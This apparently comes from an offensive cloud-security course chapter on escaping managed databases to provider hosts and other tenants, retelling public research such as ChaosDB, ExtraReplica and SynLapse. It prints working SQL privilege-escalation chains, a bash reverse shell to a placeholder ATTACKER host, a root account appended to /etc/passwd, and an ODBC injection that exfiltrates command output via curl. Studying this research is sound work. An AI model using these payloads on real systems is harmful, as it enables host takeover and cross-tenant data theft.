Databases & Data-Management Services

After this chapter you will be able to take a database you legitimately rent, escape its engine onto the provider-managed host, and follow the provider's internal network to the keys and certificates that control every other tenant's database.

The problem

A managed database is two things sold as one. On top is the database engine — PostgreSQL, MySQL, the Cosmos DB query layer — and you are handed a powerful-sounding role inside it: superuser, db_owner, the Cosmos Primary Key. Underneath is the host: a virtual machine or container, an operating system, a filesystem, a network interface, and a set of agents the provider installed. You pay for the database; you never receive an account on the host.

Now consider what a database engine actually is. PostgreSQL can run external programs (COPY ... FROM PROGRAM), read and write arbitrary files, and load native shared libraries as extensions. MySQL's client will, when the server asks, upload local files. On a server you rack yourself, those are administrative conveniences. In a multi-tenant rental, they are exactly the capabilities the provider must amputate before the product is safe to sell — and that amputation is done in code the provider wrote, fast, under a product deadline, bolted onto an engine designed decades ago for a single trusted operator.

What goes wrong is simple to state. The engine the tenant is allowed to talk to is the same component that must enforce isolation. A database engine is, by design, a command interpreter with persistence. Every parsing quirk, every forgotten privilege, every "helpful" feature in that engine is a candidate isolation bug — and the prize for finding one is not your data, it is the provider's host.

Why it matters / how it differs from a traditional pentest

In a traditional pentest — and in every prior chapter — the attacker has to find a foothold: an SSRF, a misconfigured trust policy, a container with a writable mount. The work is getting in. A managed database changes the economics entirely. Here the foothold is a product feature. The provider sells you a query engine that — by design, advertised on the pricing page — runs commands, loads native code, reads files, and brokers connections to other systems. This chapter is about the attack surface the provider invoices you for.

The second difference is who the bug threatens. In a single-customer pentest, exploiting the database hurts that one customer. Against a cloud provider, the database engine is shared infrastructure: thousands of tenants rent instances of the same managed service, run by the same agents, on the same kind of host, often reachable on the same internal network. A flaw in the engine modifications or the host plumbing is not one customer's problem — it is a flaw with every-tenant blast radius.

Apply the course's six-part lens before we attack:

The methods at a glance

The chapter has a three-mechanism spine. Each takes you one layer deeper, away from the database you rented and toward the provider's fleet.

One case — ChaosDB — spans all three, which is why it is the chapter's payoff. ExtraReplica isolates mechanism 2 cleanly; SynLapse is the marquee illustration of mechanism 3. The next three sections break each mechanism down: what it is, how it works, and a concrete real-world illustration.

Mechanism 1 — Feature-abuse to the host

What it is. To make a single-tenant database safe for multi-tenant rental, a provider has two options, and tends to use both. They can ship extensions — bundled add-ons like log readers, language handlers, and connectors — or they can fork the engine source and patch it, adding their own roles and rewiring privilege checks. Either way, the result from the attacker's seat is identical: there is provider-written code inside the engine, and that code is the way out.

How it works. The customer-facing admin role is deliberately crippled — a provider-only super-role sits above it, the OS account above that, and the host VM above that. The attacker's job is to climb. The lever is almost always a piece of provider-added code that either grants too much or fails to take enough away.

A vendor patch becomes RCE — Cloud SQL

Wiz's PostgreSQL research on GCP Cloud SQL is the textbook illustration of a vendor source modification turning into command execution.^[1]#052 Upstream PostgreSQL guards ATExecChangeOwner so you can only re-own a table you already own. GCP patched that guard so its semi-admin role, cloudsqlsuperuser, can change the owner of any table. Separately — and this is documented, unpatched upstream behaviour — an index function runs as the table's owner during ANALYZE. Combine the two: re-own a table to the provider role cloudsqladmin, attach a malicious VOLATILE index function, and trigger ANALYZE.

CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);
INSERT INTO temp_table VALUES ('dummy content');

-- 1. create the index with a harmless, IMMUTABLE function so the index is built
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
  LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';
CREATE INDEX index_malicious ON public.temp_table (suid_function(data));

-- 2. re-own the table to the provider super-role (the patched ATExecChangeOwner)
ALTER TABLE temp_table OWNER TO cloudsqladmin;

-- 3. swap the function body for a VOLATILE one that runs a host program
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
  LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data)
  FROM PROGRAM ''/usr/bin/id''; select ''test'';';

-- 4. ANALYZE re-evaluates the index function -- as cloudsqladmin
ANALYZE public.temp_table;

The id output lands in shell_commands_results, run as cloudsqladmin. Command execution, with nothing but SQL the provider's own role is allowed to issue.

The same research compared Azure, and the contrast is the lesson. Azure left the upstream CREATEROLE privilege intact on its customer-facing admin role. In modern PostgreSQL, CREATEROLE lets you create users and grant them membership in built-in privileged groups — so the escape needs no index trick at all, just one statement followed by a reverse shell:

CREATE USER james CREATEDB
  IN GROUP pg_read_server_files, pg_write_server_files, pg_execute_server_program
  ROLE postgres;
-- then, as james:
COPY shell_results FROM PROGRAM
  '/bin/bash -c "bash -i >& /dev/tcp/ATTACKER/1337 0>&1"';

Same goal — climb from the crippled customer admin role to host code execution — reached two ways. On GCP it was a custom patch that opened the door; on Azure it was a failure to patch. Both are the same root cause: privileged code, written under deadline, evaluated against the wrong adversary.

A read-only variant — foreign data wrappers (RDS)

That is exactly what Gafnit Amiga of Lightspin found in RDS PostgreSQL: AWS's own log_fdw failed to constrain the file path.^[2]#015

CREATE FOREIGN TABLE demo (t text)
  SERVER log_server OPTIONS (filename '/etc/passwd');
SELECT * FROM demo;

An absolute path — or ../ traversal — read any file the engine's OS user could see. The interesting part is what came next. Reading /rdsdbdata/config/postgresql.conf revealed a setting, apg_storage_conf_file, pointing at grover_volume.conf; that file held AWS internal-service authentication credentials. A file read — not RCE — and it still reached off the tenant database into AWS's own infrastructure. Even the weak primitive crosses the boundary, because the boundary is the host filesystem, not the SQL grant table.

The third flavour — pick the privileged interpreter (ChaosDB)

The most striking version needs no exploit at all. Cosmos DB's embedded Jupyter notebook is a feature, and each notebook language runs in its own host process. Python's process ran as the unprivileged cosmosuser. C#'s process ran as root. There was no bug — just a misconfiguration of which interpreter was privileged. The entire local privilege escalation in ChaosDB was choosing the C# kernel and running:

using System.IO;
using (StreamWriter sw = File.AppendText("/etc/passwd"))
{
    sw.WriteLine("root2:WVLY0mgH0RtUI:0:0:root:/root:/bin/bash");
}

A new uid=0 account with a known password, appended to /etc/passwd; open a terminal, su root2. Root inside the notebook container — and the feature simply ran the attacker's code there.

Mechanism 2 — From the host into the provider's internal network

What it is. Once you have code on the managed host, the database itself stops being interesting. You are now a node in the provider's fleet, and the question changes from "what can I query?" to "what can I reach?" Three things are reliably within reach, and the corpus shows attackers using all three.

How it works. A managed-database container is a thin guest riding on a shared host. Three host-level facts work in the attacker's favour: the container often has no network of its own, the metadata service it can reach belongs to the host, and the host agent that provisions secrets can be made to hand them over.

The shared network namespace

From Chapter 6 you know a container does not necessarily get its own network stack. Both the Cloud SQL and ExtraReplica research note that the database container has no dedicated IP — it binds the host's eth0 directly.^{[1]#052[4]#061} Host-level network reconnaissance is therefore one ifconfig away: the internal 10.x/172.x subnets, the metadata service, sibling instances on the same wire. In ExtraReplica, Wiz found their PostgreSQL container's eth0 on 10.0.0.0/23 — a provider-internal subnet — and discovered they could reach a second Flexible Server they had created on a different account, on port 5432, even though that server's firewall was set to deny everything. The customer firewall governs the public path; it does nothing about a neighbour on the internal subnet.

The host's metadata service — not the guest's

Chapter 4 introduced the Instance Metadata Service as a credential vending machine at 169.254.169.254. The new beat here: when a managed-database container queries that address, it is reading the host VM's metadata, not its own. In ChaosDB, the query returned "osType": "Windows", a foreign subscriptionId, a resource group named eastus-cdb-ms-prod-eastus1-cs1, and a VM-scale-set name — definitive proof the notebook was a Linux container riding on a Microsoft-owned Windows host in a Microsoft-owned subscription.

The host agent

Chapter 5 introduced WireServer — Azure's host agent at 168.63.129.16, the channel a VM uses to fetch its goal state and provisioned secrets. The new beat: querying it from inside a managed-database container. ChaosDB walked the WireServer protocol — comp=goalstate → extensionsConfig → comp=certificates — and found that the transport certificate WireServer uses to encrypt the secret bundle is supplied by the caller in the x-ms-guest-agent-public-x509-cert header, and is not validated. Supply your own certificate; receive a bundle you can decrypt with your own private key. The equivalent move on GCP, used in the Cloud SQL research to escape the container to the host VM, was a TCP-injection race against the GCP guest agent's 60-second long-poll of IMDS — forge a config response carrying an SSH key and a new user, and the agent obligingly creates a sudoer for you.

Real-world illustration — ExtraReplica

ExtraReplica is the cleanest standalone illustration of mechanism 2. Wiz set out deliberately to find a managed service that places a customer-controlled VM inside an internal Azure environment and permits code execution — to do ChaosDB again, on purpose — and Azure Database for PostgreSQL Flexible Server obliged.^[4]#061 A bug in Azure's PostgreSQL engine modifications gave them superuser and then host command execution on their own instance (the same un-hardened-privilege class as the §1 Azure case). From there, the steps:

This is the cross-tenant read class of impact — narrower than full takeover: one victim per run, and targeting needs a CT-log lookup. Single Server and Flexible Server with Private/VNet access were not affected. Like ChaosDB, ExtraReplica received no CVE — cloud vulnerabilities have no CVE namespace, a theme Chapter 11 returns to.

Mechanism 3 — Analytics pipelines that broker cross-tenant compute

What it is. Mechanisms 1 and 2 escape your own host. Mechanism 3 lands you on a host shared with strangers — a categorically worse failure. The vehicle is the analytics pipeline: managed worker compute that connects to many data sources to move and transform data.

How it works. Analytics platforms exist precisely to break down data silos — they connect S3, Cosmos, on-prem databases, Redshift. Broad reach is the product. So when the worker fleet is shared, the service's whole value proposition becomes the attacker's: one tenant's RCE runs next to every other tenant's secrets, and any management identity the worker holds reaches every tenant the runtime serves. Analytics services default to the shared pool because it is cheaper.

The pattern is not unique to Azure. Orca's "Superglue" research on AWS Glue found that a Glue feature leaked credentials for a role inside AWS's own Glue service account.^[6]#006 That granted the internal Glue service API; an internal-API misconfiguration then escalated to full regional administrative control over Glue — including the ability to AssumeRole (Chapter 3) into the Glue service role that exists in every Glue customer's account. A confused-deputy service identity, cross-tenant by construction. AWS deployed a partial mitigation globally within hours.

Real-world illustration — SynLapse

SynLapse is the cleanest illustration of this mechanism. The target was Azure Synapse Analytics / Azure Data Factory and their Integration Runtime; the researcher was Tzah Pahima of Orca Security.^[7]#062 The starting point was a bundled third-party driver: Synapse pipelines connect through ODBC drivers Microsoft bundles, and the Magnitude Simba Amazon Redshift ODBC driver had a shell-injection flaw (CVE-2022-29972) — its SAML plugin launched a browser via an unsanitised shell command. A malicious ODBC connection string injects a command:

Driver={Microsoft Amazon Redshift ODBC Driver_1.4.21.1001};
... ;plugin_name=BrowserSAML;
LOGIN_URL={exit" | whoami | curl --data-binary @- -m 5 "http://ATTACKER" | echo "1}

The patch story is the part defenders should study. Microsoft patched three times across roughly 100+ days, and the first two were bypassed: patch 1 blocked the GenericOdbc connector — bypassed via MicrosoftAccess, which is also a generic ODBC connector underneath; patch 2 blocked those — bypassed via GenericOdbcPartition; patch 3 restricted ODBC to a hardcoded allowlist, but the Salesforce connector merged an attacker-supplied extendedProperties dictionary straight into the ODBC string, so injection returned. The internal management-server certificate was not revoked until 96 days after disclosure. The real remediation was architectural: ephemeral IR nodes plus scoped, short-lived API tokens, so escaping a node yields no co-tenant secrets and no broadly-scoped certificate.

RCE on your own worker is unremarkable — it is the day job of an ETL engine. The cross-tenant outcome came entirely from two facts: the runtime was shared, so other tenants' secrets were resident in TaskExecutor.exe memory, and it held a broadly-scoped management certificate.

The integrative case — ChaosDB

ChaosDB is the one corpus case that spans all three mechanisms in a single chain, which is why Chapter 1 named it as a forward-pointer. Here is the payoff. The target was Azure Cosmos DB; researchers Nir Ohfeld and Sagi Tzadik of Wiz, August 2021; MSRC Case 66805, a $40,000 bounty, and the vulnerable feature disabled within roughly five days of disclosure.^[3]#056

The chain starts with mechanism 1 (the C# notebook kernel running as root, §1 above), passes through mechanism 2 (the host's metadata service and WireServer), and ends in mechanism 3's worse cousin — a single credential that authenticates to an entire fleet.

Impact and severity. Unrestricted administrative access to several thousand Cosmos DB customers' databases, notebook VMs, and notebook storage accounts — and because the Service Fabric clusters were internet-reachable, persistent access independent of the original notebook foothold. This is the service-takeover end of the severity gradient: a single credential authenticated to the entire fleet. With ExtraReplica's cross-tenant read and the Cloud SQL escape's single-tenant containment, the chapter now spans the whole gradient — same root-cause family, three very different blast radii. That gradient is the lens Chapter 11 builds on.

Attacker's checklist

Defender's mirror